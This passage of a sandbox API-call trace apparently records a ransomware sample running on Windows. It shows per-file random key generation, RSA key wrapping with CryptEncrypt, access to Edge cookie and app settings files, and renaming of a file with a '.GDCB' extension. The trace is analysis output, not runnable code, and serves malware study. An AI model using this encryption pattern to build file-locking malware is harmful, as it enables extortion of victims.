pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0224.006] GetLastError () returned 0x0 [0224.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.006] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0224.008] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486240) returned 1 [0224.008] CryptGetKeyParam (in: hKey=0x6486240, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0224.008] CryptEncrypt (in: hKey=0x6486240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0224.009] GetLastError () returned 0x0 [0224.009] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0224.010] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x77e0000 [0224.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x77f0000 [0224.013] ReadFile (in: hFile=0x50c, lpBuffer=0x77f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x77f0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0224.021] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7900000 [0224.026] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0224.193] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0224.196] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.197] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.197] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0224.197] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.197] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0224.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.201] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.201] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0224.201] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.201] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0224.204] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6486f40) returned 1 [0224.204] CryptGetKeyParam (in: hKey=0x6486f40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0224.204] CryptEncrypt (in: hKey=0x6486f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0224.205] GetLastError () returned 0x0 [0224.205] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.205] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0224.207] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6486c40) returned 1 [0224.207] CryptGetKeyParam (in: hKey=0x6486c40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0224.207] CryptEncrypt (in: hKey=0x6486c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0224.207] GetLastError () returned 0x0 [0224.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.207] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoft\\windows\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.221] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.224] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.224] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.224] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.224] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.226] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.227] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.227] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.227] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.227] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.229] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486900) returned 1 [0224.229] CryptGetKeyParam (in: hKey=0x6486900, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.229] CryptEncrypt (in: hKey=0x6486900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x77e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.230] GetLastError () returned 0x0 [0224.230] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.230] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.231] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486a00) returned 1 [0224.231] CryptGetKeyParam (in: hKey=0x6486a00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.231] CryptEncrypt (in: hKey=0x6486a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x77f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.232] GetLastError () returned 0x0 [0224.232] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.232] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1ZJA02JO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1zja02jo.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.232] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.234] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.235] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.235] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.235] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.235] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.238] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.238] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.238] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.240] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486a80) returned 1 [0224.240] CryptGetKeyParam (in: hKey=0x6486a80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.240] CryptEncrypt (in: hKey=0x6486a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7800000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7800000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.241] GetLastError () returned 0x0 [0224.241] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.241] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.243] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486fc0) returned 1 [0224.243] CryptGetKeyParam (in: hKey=0x6486fc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.243] CryptEncrypt (in: hKey=0x6486fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7810000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7810000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.243] GetLastError () returned 0x0 [0224.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.243] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\268TPJIA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\268tpjia.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.243] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.245] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.246] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.246] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.246] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.247] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.248] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.248] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.248] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.249] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.251] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486ac0) returned 1 [0224.251] CryptGetKeyParam (in: hKey=0x6486ac0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.251] CryptEncrypt (in: hKey=0x6486ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7820000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7820000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.251] GetLastError () returned 0x0 [0224.251] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.251] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.253] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486b00) returned 1 [0224.253] CryptGetKeyParam (in: hKey=0x6486b00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.253] CryptEncrypt (in: hKey=0x6486b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7830000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7830000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.253] GetLastError () returned 0x0 [0224.253] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.253] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\6KWA3R8C.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\6kwa3r8c.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.254] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.255] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.257] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.257] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.257] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.257] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0224.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.260] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.260] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.260] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.260] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.262] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64869c0) returned 1 [0224.262] CryptGetKeyParam (in: hKey=0x64869c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.262] CryptEncrypt (in: hKey=0x64869c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7840000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7840000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.263] GetLastError () returned 0x0 [0224.263] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.263] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.265] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486a40) returned 1 [0224.265] CryptGetKeyParam (in: hKey=0x6486a40, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.265] CryptEncrypt (in: hKey=0x6486a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7850000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7850000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.265] GetLastError () returned 0x0 [0224.265] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.265] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\85DGK2J5.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\85dgk2j5.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.265] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.267] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.268] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.268] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.268] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.268] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.270] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.271] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.271] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.272] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.274] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486980) returned 1 [0224.274] CryptGetKeyParam (in: hKey=0x6486980, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.274] CryptEncrypt (in: hKey=0x6486980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7860000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7860000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.274] GetLastError () returned 0x0 [0224.274] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.274] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.277] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486e00) returned 1 [0224.277] CryptGetKeyParam (in: hKey=0x6486e00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.277] CryptEncrypt (in: hKey=0x6486e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7870000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7870000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.277] GetLastError () returned 0x0 [0224.277] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.277] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FPNDV7T3.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fpndv7t3.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.277] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0224.279] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.280] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.282] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.282] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.282] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.285] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 